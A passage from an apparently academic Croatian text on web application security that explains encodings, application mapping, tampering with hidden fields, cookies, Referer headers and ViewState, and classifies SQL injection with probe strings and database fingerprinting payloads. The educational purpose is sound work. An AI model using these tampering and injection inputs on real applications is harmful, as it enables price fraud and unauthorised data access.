sadržaj. Kako bi se ti znakovi sigurno koristili kao dio sadržaja dokumenta, nužno je na njima

izvršiti HTML kodiranje. HTML kodiranje definira mnogobrojne HTML entitete da

reprezentiraju specifične znakove:

" — "

' — '

& — &

< — <

> — >

30

Na bilo kojem znaku može biti izvršeno HTML šifriranje koristeći ASCII znakove u

decimalnom obliku:

" — "

' — '

Ili ako se koriste ASCII znakovi u heksadecimalnom obliku:

" — "

' — '

Napadačima je HTML šifriranje posebno interesantno kada ispituju i traže postojanje XSS

ranjivosti. Jer ako aplikacija u odgovoru vraća korisnikov unos bez da ga modificira,

vjerojatno je ranjiva, dok s druge strane ako na sve opasne znakove primjeni HTML šifriranje

može biti sigurna.

3.7.4 Base64 Encoding

Base64 encoding dopušta binarnim podacima da budu sigurno zastupljeni koristeći samo

printabilne ASCII znakove. Često se koristi kako bi se šifrirali e-mail privici za siguran

prijenos preko SMTP-a. Također se koristi za šifriranje korisničkih podataka u jednostavnoj

HTTP autentifikaciji. Base64 šifriranje obrađuje ulazne podatke u blokovima po tri bajta.

Svaki od tih blokova je podijeljen na četiri dijela po šest bitova. Šest bitova podataka dopušta

64 različite permutacije, pa svaki dio se može prikazati koristeći set od 64 znaka. Base64

šifriranje koristi sljedeći niz znakova (printabilni ASCII znakovi):

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Ako zadnji bloka ulaznih podataka ima manje od tri dijela podataka, nadopunjen je sa jednim

ili dva = znaka. Primjer:

VGhlIFdlYiBBcHBsaWNhdGlvbiBIYWNrZXIncyBIYW5kYm9vaw==

31

Mnoge web aplikacije koriste Base64 šifriranje za prijenos binarnih podataka unutar cookie-a

i drugih parametara, te čak i za sakrivanje osjetljivih podataka kako bi se spriječila laka

modifikacija istih.

3.7.5 Heks kodiranje

Mnoge aplikacije koriste heksadecimalno kodiranje kod prijenosa binarnih podataka pritom

koristeći ASCII znakove za prikaz heksadecimalnog bloka. Na primjer, ako šifriramo

korisničko ime "daf" unutar cookie-a to bi izgledalo ovako:

646166

Mana je što se podaci šifrirani na ovaj način lagano uoče, baš kao i kod Base64 šifriranja.

32

4 Mapiranje aplikacija

Mapiranje aplikacije je ključan preduvjet za napadanje. Može biti primamljivo odmah

uskočiti i tražiti greške i ranjivosti, ali odvojiti vrijeme da se dobije bolje razumijevanje o

funkcionalnosti aplikacije, tehnologijama koje se koriste, te o mjestima napada, se kasnije

uvijek bolje isplati. Kod hakiranja gotovo svih web aplikacija, najučinkovitija je "ručna"

metoda u kombinaciji sa kontroliranom automatizacijom. Niti jedan potpuno automatiziran

alat ne može provesti mapiranje aplikacije na siguran način. Da bi se to napravilo, potrebno je

koristiti "ručne" metode u kombinaciji sa znanjem i iskustvom. Temeljna metodologija se

sastoji od sljedećeg:

Ručno pregledavanje i korištenje crawlera/spidera kako bi se pobrojao sav vidljivi

sadržaj i funkcionalnosti.

Korištenje brute force-a u kombinaciji sa ljudskim zaključivanjem i intuicijom kako bi

se otkrilo što više sakrivenog sadržaja.

Inteligentna analiza aplikacije kako bi se identificirale ključne funkcionalnosti,

ponašanja, sigurnosni mehanizmi, i tehnologije.

Procjena napadačke površine, isticanje funkcija i ponašanja koje bi se mogle

iskoristiti, sve to sa razlogom usmjerenijeg ispitivanja ranjivosti i njihovog

iskorištavanja.

33

5 NAPADI

5.1 Zaobilaženje kontrola na strani klijenta

5.1.1 Sakrivena polja unutar forma 30

Sakrivena polja su čest mehanizam za prijenos podataka putem klijenta na efikasan način.

Ako je polje sakriveno, ne prikazuje se na ekranu. Međutim, ime polja i vrijednost su

pohranjeni unutar forme i šalju se nazad aplikaciji kad korisnik podnese zahtjev.

<form method=”post” action=”Shop.aspx?prod=1”>

Proizvod: iPhone 5 <br/>

Cijena: 449 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina je

50)

<br/>

<input type=”hidden” name=”cijena” value=”449” />

<input type=”submit” value=”Kupi” />

</form>

Vidljivo je da je polje koje se zove cijena sakriveno. Sadržaj tog polja se šalje poslužitelju

kada kupac klikne kupi. Napad se može izvesti na dva načina. Može se spremiti izvorni kod

HTML stranice tada promijeniti vrijednost polja i nakon toga ponovno učitati u preglednik i

stisnuti gumb kupi. Drugi način je da se koristi Proxy koji će presresti i modificirati željene

podatke.

5.1.2 HTTP Cookies 31

Drugi uobičajen mehanizam prijenosa podataka putem klijenta je korištenje HTTP cookie-a.

Isto kao i sakrivena polja, nisu prikazani na ekranu i korisnik ih ne može direktno

modificirati. Mogu se naravno modificirati koristeći Proxy i mijenjajući ili odgovor od strane

poslužitelja koji ih postavlja ili zahtjeve klijenta koji ih izdaju.

Kada se korisnik prijavi u aplikaciju primi sljedeći odgovor:

HTTP/1.1 200 OK

Set-Cookie: DogovoreniPopust=25

Content-Length: 1530

...

Ako aplikacija vjeruje vrijednosti koja se nalazi unutar cookie-a DogovoreniPopust, napadač

modifikacijom može dobiti željeni popust. Primjer:

30



34

POST /shop/92/Shop.aspx?prod=3 HTTP/1.1

Host: mdsec.net

Cookie: DogovoreniPopust=25

Content-Length: 10

kolicina=1

5.1.3 URL Parametri

32

Vrlo često aplikacije prenose podatke preko klijenta koristeći URL parametre.

Primjer:

http://aplikacija.hr/katalog/?proizvod=4&sifra=32

Parametri su: proizvod=4 i sifra=32

Kada se ovakav URL sa parametrima pojavi unutar preglednika svaki parametar se može

lagano modificirati i bez korištenja ikakvih alata. U dosta slučajeva aplikacija ne dopušta

promjene URL parametara niti ih korisnici mogu vidjeti. Naravno u takvim slučajevima

također se koristi Proxy za presretanje i modificiranje parametara.

5.1.4 Referer zaglavlje

33

Preglednici uključuju Referer zaglavlje u većini HTTP zahtjeva. Koristi se da pokaže na

URL stranicu sa koje je došao trenutni zahtjev koji može biti zbog toga što je korisnik kliknuo

na link, poslao podatke iz forme, ili zato što je stranica referencirala ostale resurse kao što su

slike.

Stoga može utjecati kao mehanizam za prijenos podataka preko klijenta.

Ako se uzme na primjer mehanizam koji omogućuje korisnicima resetiranje njihove lozinke

ako su je zaboravili. Aplikacija zahtjeva od korisnika da prođe određene korake u definiranom

redoslijedu prije nego uopće mogu resetirati lozinku sa sljedećim zahtjevom:

GET /auth/472/CreateUser.ashx HTTP/1.1

Host: mdsec.net

Referer: https://mdsec.net/auth/472/Admin.ashx

Aplikacija može koristiti Referer zaglavlje da provjeri da li je taj zahtjev došao iz točne faze

(Admin.ashx). Ako je, tada korisnik može pristupiti traženoj funkcionalnosti.

32



http://aplikacija.hr/katalog/?proizvod=4&sifra=32

35

Međutim, zbog toga što korisnik kontrolira svaki aspekt svakog zahtjeva, uključujući i HTTP

zaglavlja, ovakvu kontrolu moguće je lagano izbjeći i odmah doći do CreateUser.ashx i

koristiti Proxy za promjenu vrijednosti Referer zaglavlja na vrijednost koju aplikacija

zahtjeva.

Referer zaglavlje je sasvim opcionalno prema w3.org.standardima, ali bez obzira na to što je

opcionalno većina preglednika ga implementira i koristi za kontroliranje funkcionalnosti

aplikacije. Može se smatrati kao hack.

5.1.5 Zamućeni podaci 34

Ponekad se podaci kao što je cijena koji su pohranjeni unutar sakrivenog polja ne mogu

vidjeti jer su na neki način kriptirani i na takav način se prenose.


Proizvod: Nokia Infinity <br/>

Cijena: 699 <br/>

Kolicina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>

<input type=”hidden” name=”cijena” value=”699”>

<input type=”hidden” name=”price_token”

value=”E76D213D291B8F216D694A34383150265C989229”>

<input type=”submit” value=”Kupi”>

</form>

Može se vidjeti da kada se klikne na gumb kupi, aplikacija sa serverske strane provjerava

integritet znakovnog niza, ili ga čak dešifrira kako bi se obrada obavila na normalnoj

tekstualnoj vrijednosti. Ta daljnja obrada može biti ranjiva na bilo koju vrstu bug-a.

Ima nekoliko različitih varijanta napada:

Ako se zna da je iza sakrivenog niza čisti znakovni niz može se pokušati odgonetnuti koji

algoritam se koristi za sakrivanje.

Aplikacija može sadržavati funkcije koje bi se mogle iskoristiti za otkrivanje ili sakrivanje

niza, pa bi napadač mogao iskoristiti vlastiti čisti niz i sakriti ga.

Čak i da sakriveni niz nije moguće otkriti, može se pokušati iskoristiti ga u drugačijem

kontekstu kako bi se dobio maliciozan efekt. Npr. iskopirati sakriveni niz nekog jeftinijeg

proizvoda i zamijeniti ga sa sakrivenim nizom nekog skupljeg proizvoda i slično.

34


36

Ako ništa od navedenog ne prolazi, moguće je izvoditi napade na taj način da se kao niz

podnose različite maliciozne varijacije. Napadi su usmjereni na logiku sa poslužiteljske strane

koja bi otkrila ili dekriptirala niz.

Podnose se vrlo dugačke vrijednosti, drugačiji setovi znakova i sl.

5.1.6 ASP.NET ViewState 35

Je vrlo čest mehanizam za prijenos sakrivenih podataka preko klijenta. To je sakriveno polje

koje je automatski stvoreno u svim ASP.NET web aplikacijama. Sadrži serijalizirane

informacije o stanju trenutne stranice. ASP.NET koristi ViewState kako bi poboljšao

performanse poslužitelja. Omogućuje poslužitelju sačuvati elemente unutar korisničkog

sučelja preko uzastopnih zahtjeva bez potrebe održavanja relevantnih informacije o stanju na

strani poslužitelja. Na primjer, poslužitelj može popuniti padajuću listu na temelju parametara

koje je podnio korisnik. Kada korisnik napravi sljedeći zahtjev, preglednik ne šalje sadržaj

liste natrag do poslužitelja, već šalje vrijednost sakrivenog ViewState polja, koja sadrži

serijalizirani oblik liste. Server deserijalizira (izvlači strukturu podataka iz formata za

pohranu) ViewState i stvara istu listu koja se ponovno prikazuje korisniku.

Osim ove osnovne svrhe za koju je namijenjen ViewState koriste programeri za spremanje

proizvoljnih informacija preko uzastopnih zahtjeva. Na primjer, umjesto da se cijena

proizvoda pohrani u sakriveno polje, aplikacija ju može spremiti u ViewState na sljedeći

način:

niz price = getPrice(prod);

ViewState.Add(“cijena”, cijena);

Forma koja se vrati/prikaže korisniku izgleda ovako:


<input type=”hidden” name=”__VIEWSTATE” id=”__VIEWSTATE”

value=”/wEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA==” />

Proizvod: HTC One X <br/>

Cijena: 399 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina

je 50)

<br/>


</form>

35


37

Kada korisnik klikne Kupi, preglednik šalje sljedeće:

POST /shop/76/Shop.aspx?prod=3 HTTP/1.1

Host: mdsec.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 77

__VIEWSTATE=%2FwEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA%3D%3D&

kolicina=1

ViewState parametar je zapravo niz šifriran pomoću Base64 algoritma koji se vrlo lako može

dešifrirati i tada je moguće vidjeti parametar cijene koji je unutra postavljen:

3D FF 01 0F 0F 05 0B 2D 31 35 38 37 31 36 39 30 ; =ÿ.....-15871690

36 32 0F 16 02 1E 05 70 72 69 63 65 05 03 33 39 ; 62.....price..39

39 64 64 ; 9dd

ASP.NET platforma po osnovi štiti ViewState od "čačkanja" tako da mu dodaje hash s

ključem (MAC zaštita). Međutim neke aplikacije isključe tu zaštitu, a to znači da je vrijednost

unutar ViewState-a tada moguće modificirati. Alati kao što je Burp Suite sadrže ViewState

parser koji pokaže ako ViewState nije zaštićen, odnosno ako nije uključena MAC zaštita.

Pomoću alata se ViewState može dešifrirati čak iako je zaštićen.

5.2 HTML forme 36

HTML forme su najjednostavniji i najučestaliji način da se prikupe podaci od korisnika i

pošalju poslužitelju. Forme se mogu koristiti i na druge načine, mogu se ograničiti, mogu se

provoditi validacije nad korisničkim podacima.

5.2.1 Ograničenja dužine


Proizvod: iPhone 5 <br/>

Cijena: 449 <br/>

Kolicina: <input type=”text” name=”kolicina” maxlength=”1”> <br/>

<input type=”hidden” name=”cijena” value=”449”>


</form>

Iz koda je vidljivo da će preglednik ograničiti upis količine samo na jedan znak, što znači da

će maximalna količina biti manja od 10. Ovo ograničenje se vrlo lagano može zaobići ako se

presretne zahtjev pa se može modificirati željena količina ili ako se presretne odgovor

poslužitelja koji sadrži formu pa se može ukloniti maxlength atribut.

36


38

5.2.2 Validacija temeljena na skriptama

37Validacijski mehanizmi unutar HTML forma su suviše jednostavni da bi izveli neke

kompliciranije validacije. Forma za registraciju korisnika može sadržavati polja za ime, email,

telefon, poštanski broj i sva ta polja zahtijevaju drugačiji tip unosa. Zbog toga se često

validacija ulaznih podataka validira pomoću skripta.

Primjer:

<form method=”post” action=”Shop.aspx?prod=2” onsubmit=”return

validateForm(this)”>

Proizvod: Samsung Multiverse <br/>

Cijena: 399 <br/>

Količina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>


</form>

<script>function validateForm(theForm)

{

var isInteger = /^\d+$/;

var valid = isInteger.test(quantity) &&

quantity > 0 && quantity <= 50;

if (!valid)

alert(’Upisi odgovarajuću količinu’);

return valid;

}

</script>

onsubmit atribut pokreće validaciju forme kada korisnik pritisne gumb kupi.

Podaci se šalju samo ako funkcija vrati TRUE. Ovaj mehanizam omogućuje logici na strani

klijenta da presjeda pokušaj prijave forma, i da se prilagode validacijske provjere za

korisnikove ulazne podatke, te odlučivanje da li prihvatiti te podatke ili ne. U prethodnom

primjeru validacija je jednostavna, provjerava jesu li uneseni podaci za polje količina tipa int i

jesu li između 1 i 50.

Ovakav tip provjere je lagano zaobići. Potrebno je samo isključiti JavaScript unutar web

preglednika i on submit atribut se ignorira. Međutim, ako se isključi JavaScript to može

onemogućiti korištenje aplikacije ako ona ovisi o skriptiranju na strani klijenta. Bolji pristup

bi bio korištenje Proxy-a. Nakon što se forma popuni i pošalju se podaci, pomoću Proxy-a se

ti validirani podaci uhvate i mogu mijenjati po želji.

Moguće je isto tako presjesti odgovor poslužitelja koji sadrži validacijsku rutinu,

i modificirati skriptu prema želji.

37


39

5.2.3 Onemogućavanje HTML elemenata 38

Ako se HTML forma onemogući pomoću disable parametra, vidljiva je na ekranu ali u nju

se ne može ništa unositi i njen sadržaj se ne šalje poslužitelju.


Proizvod: Blackberry Rude <br/>

Cijena: <input type=”text” disabled=”true” name=”cijena” value=”299”>

<br/>

Kolicina: <input type=”text” name=”kolicina”> (Maksimalna količina je 50)

<br/>


</form>

U prethodnom primjeru samo se parametar Količina šalje poslužitelju.

Međutim, parametar cijena može ukazivati da se taj parametar prije koristio ili se koristi u

testne svrhe. Tada bi se mogao naći način kako ga iskoristiti za pronalazak ranjivosti.

5.3 Ekstenzije web preglednika 39

Osim HTML forma, za istu funkciju prikupljanja, provjere i slanja podataka koriste se i

komponente na strani klijenta koje rade unutar web preglednika kao što su Java ili Flash. U

današnje vrijeme takve komponente su vrlo raširene i razvijene. Po obujmu i funkcionalnosti

mogu biti kao desktop aplikacije. Koriste se najčešće za obavljanje zadaća i procesa koji bi se

inače odvijali na poslužitelju. Na taj način se ubrzava rad same aplikacije i ne opterećuje se

poslužitelj.

Najčešće komponente su Java apleti, Flash i Silverlight. Sve tri komponente imaju slične

ciljeve, i svojstva unutar svoje arhitekture koja su važna za sigurnost:

Kompajlirane su na "intermediate bytecode" odnosno na programski jezik najniže

razine koji je još uvijek čitljiv ljudima.

Izvode se unutar virtualne mašine koja pruža "sandbox" okruženje za izvršavanje

Mogu koristiti remoting framework-e za prijenos kompleksnih struktura podataka ili

objekata putem HTTP-a.

38

Izvor: The Web Application Hacker's Handbook str. 167 39


40

5.3.1 FLASH

Flash koristi svoj vlastiti format za prijenos kompleksnih podatkovnih struktura između

poslužitelja i klijenta. Taj format se naziva Action Message Format i može se prepoznati po

Content-Type zaglavlju:

Content-Type: application/X-amf

Uz pomoć Burpa koji podržava AMF format može se presresti zahtjev ili odgovor koji sadrži

podatke u AMF formatu i prikazati ih modificirati.

Obično su ekstenzije pisane u bytecode- jeziku i obično su distribuirane u jednom paketu i da

bi se izveo napad potrebno ih je dekompajlirati kako bi se došlo do izvornog koda.(Silverlight

objekti su spremljeni kao .xap datoteke a Java apleti kao .jar, flash kao .swf s time da je .xap i

.jar prije dekompajliranja je potrebno raspakirati). Nakon toga se može modificirati kod te se

na kraju vrši rekompajliranje.

Alati za dekompajliranje:

Za Javu su: java snoop - www.varaneckas.com/jad

Za flash: Flasm — www.nowrap.de/flasm , Flare — www.nowrap.de/flare i SWFScan

— www.hp.com/go/swfscan

Za Silverlight: www.red-gate.com/products/dotnet-development/reflector/

5.4 Napadi na autentifikaciju 40

Kod izrade autentifikacije programerima su dostupne različite tehnologije za

implementiranje autentifikacije:

Autentifikacija temeljena na HTML formama

Višefaktorski mehanizmi kao što su oni koji kombiniraju lozinku i fizički token ( kod

banaka ).

Klijentski SSL certifikati i/ili pametne kartice (smartcards)

Osnovna HTTP i digest(šifrirana) autentifikacija

Windows-integrirana autentifikacija koristeći NTLM ili Kreberos

40


http://www.varaneckas.com/jad

http://www.nowrap.de/flasm

http://www.nowrap.de/flare

http://www.hp.com/go/swfscan

http://www.red-gate.com/products/dotnet-development/reflector/

41

Servisi za autentifikaciju

Najviše zastupljena i korištena autentifikacija od strane web aplikacija je korištenje HTML

forma za prikupljanje korisničkih podataka i slanje istih do aplikacije. Koristi ju preko 90%

aplikacija na Internetu.

5.4.1 Loše lozinke

Jako puno web aplikacija ili uopće ne kontrolira kvalitetu lozinki svojih korisnika ili to čine

loše uz minimalne kontrole, stoga se dopuštaju sljedeći oblici lozinki:

Vrlo kratke ili prazne lozinke

Česte riječi iz rječnika ili imena

Ista lozinka kao i korisničko ime

Lozinka koja je još uvijek postavljena na početnu zadanu vrijednost

Vrlo je velika vjerojatnost da će web aplikacija koja ne zahtjeva jake lozinke imati većinu

korisničkih računa sa slabim standardima lozinka. Napadač vrlo lako može pogoditi te lozinke

što mu omogućuje nedopušten pristup aplikaciji. Napadač može koristiti automatizirane

bruteforce napade i imati i nekoliko tisuća pokušaja u minuti kako bi pogodio lozinku. Neke

aplikacije koriste kontrole da spriječe takve napade. Na primjer nakon svakog neuspješnog

pokušaja prijave aplikacija može postaviti cookie kriveprijave=1 odnosno uvećavati ga za 1

dok ne dostigne maksimalan broj pokušaja. Tada poslužitelj otkrije da se to događa u već

poslanom cookie-u i odbija daljnje procesuiranje prijave. Takav način provjere je lagano

moguće zaobići metodama koje su opisane prije u tekstu.

Druga varijacija ranjivosti se pojavi kada se brojač krivih prijava drži unutar sesije. Napadač

sve što treba napraviti je da dobije novu sesiju i može nastaviti sa napadom pogađanja lozinki.

To može napraviti tako da povuče odnosno uskrati svoj sesijski cookie.

Vrlo važna stvar kod pogrešnih i neuspjelih prijava su poruke o grešci odnosno neuspjeloj

prijavi. Takve poruke ne smiju biti opširne i sadržavati informacije. Poruka ne smije dati do

znanja koji je od ta dva podataka pogrešno unesen.

42

5.4.2 Nesiguran prijenos korisničkih podataka

Ako aplikacija koristi nekriptiranu HTTP konekciju za prijenos korisničkih podataka, moguće

je te podatke dok putuju presresti pomoću različitih alata za prisluškivanje koji su smješteni

na mreži.

5.4.3 Nesigurna pohrana korisničkih podataka

Ako aplikacija pohrani korisničke podatke na nesiguran način tada sigurnost mehanizma

može biti narušena čak iako ne postoji neka mana u autentifikacijskom procesu. Često se

može naići na web aplikacije koje lozinke korisnika spremaju unutar baze u čitljivom

tekstualnom formatu. Ako kojim slučajem dođe do uspješnog napada na bazu podataka,

ugroženi su svi korisnički računi. Također nije poželjno koristiti standardne algoritme za

šifriranje kao što su MD5 ili SHA-1 jer to još uvijek omogućuje napadaču da jednostavno

pogleda promatrana skraćivanja u odnosu na unaprijed izračunate hash vrijednosti baze

podataka. Zbog toga što korisnički odnosno administratorski račun za bazu podataka koji se

koristi od strane aplikacije mora imati puno pravo pristupa do takvih podataka. Ima mnogo

različitih vrsta ranjivosti unutar aplikacije koje mogu dovesti napadača do pristupa takvim

podacima, kao što su SQLi ili command injection i sl. Osim toga, lozinke šifrirane tim već

starijim standardnim metodama mogu biti relativno lagano i brzo probijene različitim alatima.

5.4.4 Attack session management

Mehanizam za upravljanje sesijama je temeljna sigurnosna komponenta u većini web

aplikacija. Omogućuje aplikaciji da na jedinstven način identificira korisnika među mnogo

različitih zahtjeva i akumulira korisnikovo stanje interakcije sa aplikacijom. Osigurava da

svaki korisnik nema ovlasti i prava veća nego što bi ih trebao imati.

Ranjivosti koje postoje u mehanizmima za upravljanje sesijama mogu se svrstati u dvije

kategorije:

Slabosti kod generiranja sesijskih tokena

Slabosti kod rukovanja sesijskim tokenima za vrijeme njihovog vijeka trajanja

5.4.5 Alternativa sesijama

Ne koristi svaka aplikacija sesije. Neke aplikacije visoke sigurnosti i koje imaju kompleksnu

funkcionalnost, koriste neke druge tehnike upravljanja stanjem. Postoje dvije alternative:

43

HTTP autentifikacija - Vrlo je slična kao i autentifikacija preko HTML forma i sesija, samo

što se korisnik svaki puta iznova prijavljuje. Na primjer, korisnik se ponovno prijavljuje i

šalje autentifikacijske podatke na validaciju svaki puta kada šalje neki novi zahtjev aplikaciji

odnosno poslužitelju.

Mehanizmi bez sesija – To su mehanizmi koji ne koriste sesijske tokene već prenose sve

podatke vezane za upravljanje stanjem preko klijenta, najčešće putem cookie-a ili sakrivenih

polja unutar formi. Slično funkcioniraju kao ASP.NET ViewState. Naravno pošto se podaci

prenose putem klijenta unutar binarnog blob-a, adekvatno se zaštićuju algoritmima za

kriptiranje i potpisivanje.

Kod rukovanja sesijama treba biti oprezan na slabosti i da se sesije ne razotkriju. Kod

nepravilnog rukovanja sesijama niti korištenje SSL-a neće pomoći.

Za sigurno upravljanje sesijama potrebno je generirati jake tokene ,odabrati poželjne

algoritme za njihovo generiranje, čuvati tokene kroz njihov cijeli životni vijek, prenositi ih

samo preko HTTPS-a, vremenski ograničiti njihov životni vijek, putanja i raspon aplikacijskih

sesijskih cookie-a mora biti postavljen što je striktnije moguće.

5.4.6 Napad na kontrolu pristupa

Nedostaci unutar kontrole pristupa mogu se pojaviti iz više različitih izvora. Loš i

prejednostavan dizajn aplikacije ponekad onemogućuje provjere za neautoriziranim

pristupom ili neki previdi ostavljaju neke funkcije nezaštićenim.

44

6 NAPAD NA POHRANU PODATAKA 41

Skoro svaka aplikacija se oslanja na pohranu podataka koji se obrađuju unutar aplikacije. U

mnogim slučajevima ti podaci su bitni za rad same aplikacijske logike, sadržavajući

korisničke račune, dopuštenja, konfiguracijske postavke aplikacije i slično. Većina podataka

je pohranjena u strukturiranom obliku, koristeći predefinirani upitni jezik i koristeći internu

logiku za upravljanje tim podacima. Najviše podataka se sprema u SQL baze podataka, XML

repozitorije i LDAP direktorije.

Funkcije unutar aplikacije upravljanju, dodaju modificiraju i brišu podatke, postavljaju upite

nad pohranjenim podacima i to sve na temelju tipu korisničkog računa odnosno prava. Upravo

zbog interpreterskih jezika kao što su SQL, LDAP, Perl, i PHP koji se koriste kod web

aplikacija i načina na koji se interpretiraju napadi na koji se njih odnose se nazivaju

„injection“ napadi, odnosno napadi ubacivanjem koda.

Zaobilaženje prijave

Proces po kojem aplikacija pristupa podacima obično je isti bez obzira da li je taj pristup

okinut akcijama ne privilegiranih korisnika ili administratora. Funkcije web aplikacije

upravljaju pohranom podataka, gradeći upite za dohvat, dodavanje i modificiranje podataka

spremljenih u bazi podataka ovisno o korisničkom računu korisnika. Uspješan injection napad

koji modificira upit može zaobići kontrolu pristupa.

41


45

6.1 SQL injection

42SQLi – je napad prilikom kojeg se pokušava umetnuti/podmetnuti SQL kod koji bi

iskoristio ranjivosti u web aplikaciji. Prilikom umetanja/podmetanja koda modificira se

originalan SQL upit odnosno mijenja se njegova logika.

6.1.1 43Kategorizacija i klasifikacija SQLi-a

6.1.1.1 SQLi temeljen na podatkovnom ekstrakcijskom kanalu:

Inband ili inline – Izvlačenje odnosno prikazivanje rezultata na istom mjestu unosa

(npr. web preglednik) Podaci mogu biti prikazani u normalnom obliku ili u obliku

grešaka.

o Tehnike napada kod ovoga tipa su UNION temeljeni SQLi (union based) i

SQLi temeljen na greškama (error based)

Out-of-band – Koristi se drugačiji kanal (npr. HTTP, DNS) za prijenos podataka iz

SQL upita. Ako funkcionira, to je najlakši način za izvlačenje velikih količina

podataka iz baze podataka.

6.1.1.2 SQLi temeljen na primljenom odgovoru od strane servera:

Error-based SQL injections

o Union query type.

o Double query Injections.

Blind SQL Injections

o Boolean-based blind injections.

o Time based blind injections.

6.1.1.3 SQLi temeljen na tipu podatka u SQL upitu:

String-based

Numeric- or integer based

42

Izvor: http://resources.infosecinstitute.com/sql-injections-introduction/ 43

Izvor: http://resources.infosecinstitute.com/sql-injections-introduction/

http://resources.infosecinstitute.com/sql-injections-introduction/

http://resources.infosecinstitute.com/sql-injections-introduction/

46

6.1.1.4 SQLi temeljen na stupnju/redu ubacivanja koda:

First-order injections.

Second-order injections.

6.1.1.5 SQLi temeljen na točki ubacivanja koda:

Ubacivanje koda kroz različita polja za unos.

Ubacivanje putem cookie-a.

Ubacivanje preko poslužiteljskih varijabli (ubacivanja temeljena na zaglavljima).

Svaki podatak koji se šalje bazi podataka potrebno je provjeriti! To uključuje sve URL

parametre, cookie, POST podatke, HTTP zaglavlja.

Kod testiranja i traženja ranjivosti, potrebno je proći kroz cijeli više-razinski proces u kojem

se unose izgrađeni nizovi. Aplikacije često skupljaju kolekcije podataka preko nekoliko

zahtjeva, i to proslijede do baze tek kad je cijeli set prikupljen. U tom slučaju oni koji se bave

penetracijskim testiranjima mogu promašiti dosta SQLi ranjivosti ako šalju izrađene nizove

podatka unutar svakog zahtjeva zasebno i motre odgovor odnosno reakciju aplikacije na taj

zahtjev.

Jedan od načina za potvrdu da aplikacija komunicira sa bazom podataka u pozadini je

ubacivanje SQL wildcard znaka % u neki parametar. Npr. ako se % ubaci unutar forme za

pretraživanje, obično se vrati velik broj rezultata, ukazujući na to da je ulaz proslijeđen u SQL

upit. Naravno to ne ukazuje odmah na to da je aplikacija ranjiva, već samo da bi trebalo još

temeljitije ispitati ne bi li se našli neki propusti.

Kada se traži SQLi ranjivost koristeći jednostruki navodnik, potrebno je obratiti pozornost

ako će se pojavit kakve JavaScript greške. Zna se često dogoditi da korisnik kada unese neki

unos da mu se vrati unutar JavaScript-a, pa jednostruki navodnik i u JavaScriptu interpreteru

može uzrokovati grešku jednako kao i u SQL interpreteru. To može tada upućivati na XSS

ranjivost.

6.1.2 Ubacivanja u numeričke parametre

Kada korisnik ubaci numerički podatak u SQL upit, aplikacija još uvijek može tim podatkom

rukovati kao da je znakovni (string). Međutim u velikoj većini slučajeva numerički podaci se

šalju bazi u numeričkom obliku i ne nalaze se unutar jednostrukih navodnika.

47

Matematički izrazi: 1+1 ili 3-1

ASCII komanda koja vraća numerički ASCII kod od nekog znaka.

67-ASCII('A')=2

51-ASCII(1)=2

Neki znakovi koji se žele ubaciti imaju specijalno značenje unutar HTTP zahtjeva. Ako se ti

znakovi žele ubaciti u napad moraju se URL kodirati kako bi se pravilno interpretirali:

& i = bi se trebali šifrirati kao %26 i %3d

Razmaci nisu dozvoljeni unutar upitnog niza. Ako se ubace, poništiti će cijeli niz. Trebali bi

se šifrirati koristeći + ili %20

Zbog toga što se + znak koristi za razmak, ako se želi koristi pravi plus znak tada je to %2b

1+1 bi se trebao poslati kao 1%2b1

Točka zarez se koristi inače kako bi se odvojila cookie polja, pa bi se trebao šifrirati kao %3b

Ova šifriranja su nužna bilo da se modificira parametar direktno iz preglednika, preko Proxy-a

ili na bilo koji drugi način. Ako se znakovi ne kodiraju na pravilan način može se poništiti

cijeli zahtjev ili se poslati podaci koji se nisu imali namjere poslati.

SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ ORDER BY

title ASC

U mnogo slučajeva struktura SQL upita se nalazi unutar ORDER BY klauzule. ORDER BY

uzima ime kolone i po tome sortira rezultat. Tako se najčešće korisnicima omogućava

sortiranje neke tablice unutar preglednika. Pronalaženje SQLi u imenu kolone može biti teško.

Ako unesena vrijednost nije ispravno ime kolone, upit vraća grešku. To znači da će odgovor

biti isti bez obzira da li napadač ubacuje jednostruke navodnike ili dvostruke ili bilo koji drugi

proizvoljan niz. Zbog toga tehnike i za automatski fuzzing i ručno testiranje vrlo često ne

detektiraju ovu ranjivost. U ovom slučaju čak ne pomažu metode uklanjanja/izbjegavanja

navodnika niti „prepared statements“. Ovo je ključna stvar koju treba pripaziti kod modernih

aplikacija.

U SQL-u ORDER bY 1, napravi poredak po prvoj koloni, ako se stavi 2 tada napravi po

drugoj, itd. Ako je broj upisan veći od broja postojećih kolona u tablici tada upit neće uspjeti.

Može se testirati da li se može obrnuti poredak:

1 ASC --

1 DESC --

Ako je upisan npr. broj 1 i u rezultatu su brojevi 1 u svakom retku, ulazni podaci se

najvjerojatnije ubacuju unutar imena kolone koja se vraća od strane upita. Npr.:

48

SELECT 1,title,year FROM books WHERE publisher=’Wiley’

ORDER BY upiti su malo drugačiji od ostalih. Baza podataka kod njih ne prihvaća ključne

riječi kao što su: UNION, WHERE, OR ili AND. Ovakav slučaj od napadača zahtjeva da

specificira ugniježđeni upita na mjestu parametra, a to znači zamjenjujući ime kolone sa npr.

(select 1 where <<condition>> or 1/0=0).

6.1.3 Otkrivanje baze podataka u pozadini

Svaka baza podataka ima drugačije funkcije za rukovanje različitim tipovima podataka

odnosno parametara. Ubacivanjem operacija nad pojedinim parametrima napadač može na

temelju rezultat upita otkriti koja se baza nalazi u pozadini web aplikacije.

6.1.3.1 Prema Parametrima:

Nizovni/string:

Oracle: ‘serv’||’ices’

MS-SQL: ‘serv’+’ices’

MySQL: ‘serv’ ‘ices’ (razmak!)

Numerički:

Oracle: BITAND(1,1)-BITAND(1,1)

MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED

MySQL: CONNECTION_ID()-CONNECTION_ID()

Npr. preko sljedećeg niza da se dobije približna verzija baze u pozadini:

/*!32302 and 1=0*/

Where dio select upita je false ako je mysql verzija veća od 3.23.02

